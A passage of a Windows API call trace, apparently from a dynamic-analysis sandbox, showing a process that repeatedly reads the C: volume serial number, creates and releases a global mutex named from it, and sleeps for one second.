lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0252.518] GetProcessHeap () returned 0xc10000 [0252.518] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec50 | out: hHeap=0xc10000) returned 1 [0252.518] GetProcessHeap () returned 0xc10000 [0252.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d08 [0252.518] GetProcessHeap () returned 0xc10000 [0252.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4c30 [0252.518] GetProcessHeap () returned 0xc10000 [0252.518] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4c30, Size=0x72) returned 0xcf9fa0 [0252.518] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0252.518] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x390 [0252.518] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x0 [0252.518] GetProcessHeap () returned 0xc10000 [0252.518] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d08 | out: hHeap=0xc10000) returned 1 [0252.518] GetProcessHeap () returned 0xc10000 [0252.519] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9fa0 | out: hHeap=0xc10000) returned 1 [0252.519] ReleaseMutex (hMutex=0x390) returned 1 [0252.519] CloseHandle (hObject=0x390) returned 1 [0252.519] Sleep (dwMilliseconds=0x3e8) [0253.810] GetProcessHeap () returned 0xc10000 [0253.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2edb8 [0253.810] GetProcessHeap () returned 0xc10000 [0253.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb38 [0253.810] GetProcessHeap () returned 0xc10000 [0253.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eac0 [0253.810] GetProcessHeap () returned 0xc10000 [0253.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900cf8 [0253.811] GetProcessHeap () returned 0xc10000 [0253.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900cf8 | out: hHeap=0xc10000) returned 1 [0253.811] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0253.812] GetProcessHeap () returned 0xc10000 [0253.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eac0 | out: hHeap=0xc10000) returned 1 [0253.812] GetProcessHeap () returned 0xc10000 [0253.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2edb8 | out: hHeap=0xc10000) returned 1 [0253.812] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0253.812] GetProcessHeap () returned 0xc10000 [0253.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0253.812] GetProcessHeap () returned 0xc10000 [0253.812] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0253.812] GetProcessHeap () returned 0xc10000 [0253.813] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0253.813] GetProcessHeap () returned 0xc10000 [0253.813] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcfa420 [0253.813] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0253.813] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x38c [0253.813] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x0 [0253.813] GetProcessHeap () returned 0xc10000 [0253.813] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0253.813] GetProcessHeap () returned 0xc10000 [0253.813] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa420 | out: hHeap=0xc10000) returned 1 [0253.813] ReleaseMutex (hMutex=0x38c) returned 1 [0253.813] CloseHandle (hObject=0x38c) returned 1 [0253.813] Sleep (dwMilliseconds=0x3e8) [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee58 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb38 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eea8 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900410 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900410 | out: hHeap=0xc10000) returned 1 [0255.128] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0255.128] GetProcessHeap () returned 0xc10000 [0255.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0255.129] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0255.129] GetProcessHeap () returned 0xc10000 [0255.130] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0255.130] GetProcessHeap () returned 0xc10000 [0255.130] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca47f8 [0255.130] GetProcessHeap () returned 0xc10000 [0255.130] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47b0 [0255.130] GetProcessHeap () returned 0xc10000 [0255.130] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47b0, Size=0x72) returned 0xcf9f20 [0255.130] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0255.130] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x39c [0255.130] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x0 [0255.130] GetProcessHeap () returned 0xc10000 [0255.130] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47f8 | out: hHeap=0xc10000) returned 1 [0255.130] GetProcessHeap () returned 0xc10000 [0255.130] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9f20 | out: hHeap=0xc10000) returned 1 [0255.130] ReleaseMutex (hMutex=0x39c) returned 1 [0255.130] CloseHandle (hObject=0x39c) returned 1 [0255.130] Sleep (dwMilliseconds=0x3e8) [0256.319] GetProcessHeap () returned 0xc10000 [0256.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee30 [0256.319] GetProcessHeap () returned 0xc10000 [0256.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eae8 [0256.319] GetProcessHeap () returned 0xc10000 [0256.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb38 [0256.319] GetProcessHeap () returned 0xc10000 [0256.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39002e0 [0256.319] GetProcessHeap () returned 0xc10000 [0256.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39002e0 | out: hHeap=0xc10000) returned 1 [0256.320] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eae8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0256.320] GetProcessHeap () returned 0xc10000 [0256.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0256.320] GetProcessHeap () returned 0xc10000 [0256.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0256.320] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca47f8 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcfa3a0 [0256.321] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0256.321] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x374 [0256.321] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x0 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47f8 | out: hHeap=0xc10000) returned 1 [0256.321] GetProcessHeap () returned 0xc10000 [0256.321] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa3a0 | out: hHeap=0xc10000) returned 1 [0256.321] ReleaseMutex (hMutex=0x374) returned 1 [0256.321] CloseHandle (hObject=0x374) returned 1 [0256.322] Sleep (dwMilliseconds=0x3e8) [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb88 [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec00 [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee58 [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0257.643] GetProcessHeap () returned 0xc10000 [0257.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0257.643] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0257.643] GetProcessHeap () returned 0xc10000 [0257.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0257.644] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49f0 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49f0, Size=0x72) returned 0xcfa1a0 [0257.644] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0257.644] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x394 [0257.644] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x0 [0257.644] GetProcessHeap () returned 0xc10000 [0257.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0257.644] GetProcessHeap () returned 0xc10000 [0257.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa1a0 | out: hHeap=0xc10000) returned 1 [0257.645] ReleaseMutex (hMutex=0x394) returned 1 [0257.645] CloseHandle (hObject=0x394) returned 1 [0257.645] Sleep (dwMilliseconds=0x3e8) [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee58 [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed90 [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900a98 [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900a98 | out: hHeap=0xc10000) returned 1 [0259.065] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0259.065] GetProcessHeap () returned 0xc10000 [0259.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0259.066] GetProcessHeap () returned 0xc10000 [0259.066] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0259.066] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0259.066] GetProcessHeap () returned 0xc10000 [0259.066] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0259.066] GetProcessHeap () returned 0xc10000 [0259.066] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca49a8 [0259.066] GetProcessHeap () returned 0xc10000 [0259.066] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4d08 [0259.066] GetProcessHeap () returned 0xc10000 [0259.066] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4d08, Size=0x72) returned 0xcfa320 [0259.066] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0259.067] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x394 [0259.067] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x0 [0259.067] GetProcessHeap () returned 0xc10000 [0259.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca49a8 | out: hHeap=0xc10000) returned 1 [0259.067] GetProcessHeap () returned 0xc10000 [0259.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa320 | out: hHeap=0xc10000) returned 1 [0259.067] ReleaseMutex (hMutex=0x394) returned 1 [0259.067] CloseHandle (hObject=0x394) returned 1 [0259.067] Sleep (dwMilliseconds=0x3e8) [0260.337] GetProcessHeap () returned 0xc10000 [0260.337] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0260.337] GetProcessHeap () returned 0xc10000 [0260.337] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0260.337] GetProcessHeap () returned 0xc10000 [0260.337] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ea98 [0260.337] GetProcessHeap () returned 0xc10000 [0260.337] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900bc8 [0260.337] GetProcessHeap () returned 0xc10000 [0260.337] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900bc8 | out: hHeap=0xc10000) returned 1 [0260.338] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0260.338] GetProcessHeap () returned 0xc10000 [0260.338] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ea98 | out: hHeap=0xc10000) returned 1 [0260.338] GetProcessHeap () returned 0xc10000 [0260.338] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0260.338] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0260.338] GetProcessHeap () returned 0xc10000 [0260.338] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0260.338] GetProcessHeap () returned 0xc10000 [0260.338] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b10 [0260.338] GetProcessHeap () returned 0xc10000 [0260.339] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4840 [0260.339] GetProcessHeap () returned 0xc10000 [0260.339] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4840, Size=0x72) returned 0xcfa120 [0260.339] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0260.339] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x348 [0260.339] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0260.339] GetProcessHeap () returned 0xc10000 [0260.339] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b10 | out: hHeap=0xc10000) returned 1 [0260.339] GetProcessHeap () returned 0xc10000 [0260.339] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa120 | out: hHeap=0xc10000) returned 1 [0260.339] ReleaseMutex (hMutex=0x348) returned 1 [0260.339] CloseHandle (hObject=0x348) returned 1 [0260.339] Sleep (dwMilliseconds=0x3e8) [0261.572] GetProcessHeap () returned 0xc10000 [0261.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900a00 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900a00 | out: hHeap=0xc10000) returned 1 [0261.585] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0261.585] GetProcessHeap () returned 0xc10000 [0261.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0261.585] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0261.624] GetProcessHeap () returned 0xc10000 [0261.624] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0261.624] GetProcessHeap () returned 0xc10000 [0261.624] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4840 [0261.624] GetProcessHeap () returned 0xc10000 [0261.624] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0261.624] GetProcessHeap () returned 0xc10000 [0261.624] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcfa1a0 [0261.624] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0261.624] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x348 [0261.625] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0261.625] GetProcessHeap () returned 0xc10000 [0261.625] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4840 | out: hHeap=0xc10000) returned 1 [0261.625] GetProcessHeap () returned 0xc10000 [0261.625] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa1a0 | out: hHeap=0xc10000) returned 1 [0261.625] ReleaseMutex (hMutex=0x348) returned 1 [0261.625] CloseHandle (hObject=0x348) returned 1 [0261.625] Sleep (dwMilliseconds=0x3e8) [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ea98 [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900c60 [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900c60 | out: hHeap=0xc10000) returned 1 [0262.804] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0262.804] GetProcessHeap () returned 0xc10000 [0262.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ea98 | out: hHeap=0xc10000) returned 1 [0262.804] GetProcessHeap () returned 0xc10000 [0262.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0262.805] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0262.806] GetProcessHeap () returned 0xc10000 [0262.806] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0262.806] GetProcessHeap () returned 0xc10000 [0262.806] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d08 [0262.806] GetProcessHeap () returned 0xc10000 [0262.806] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4ba0 [0262.806] GetProcessHeap () returned 0xc10000 [0262.806] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4ba0, Size=0x72) returned 0xcfa220 [0262.806] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0262.806] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3a8 [0262.807] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0262.807] GetProcessHeap () returned 0xc10000 [0262.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d08 | out: hHeap=0xc10000) returned 1 [0262.807] GetProcessHeap () returned 0xc10000 [0262.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa220 | out: hHeap=0xc10000) returned 1 [0262.807] ReleaseMutex (hMutex=0x3a8) returned 1 [0262.807] CloseHandle (hObject=0x3a8) returned 1 [0262.807] Sleep (dwMilliseconds=0x3e8) [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec28 [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900e28 [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900e28 | out: hHeap=0xc10000) returned 1 [0264.155] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0264.155] GetProcessHeap () returned 0xc10000 [0264.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0264.155] 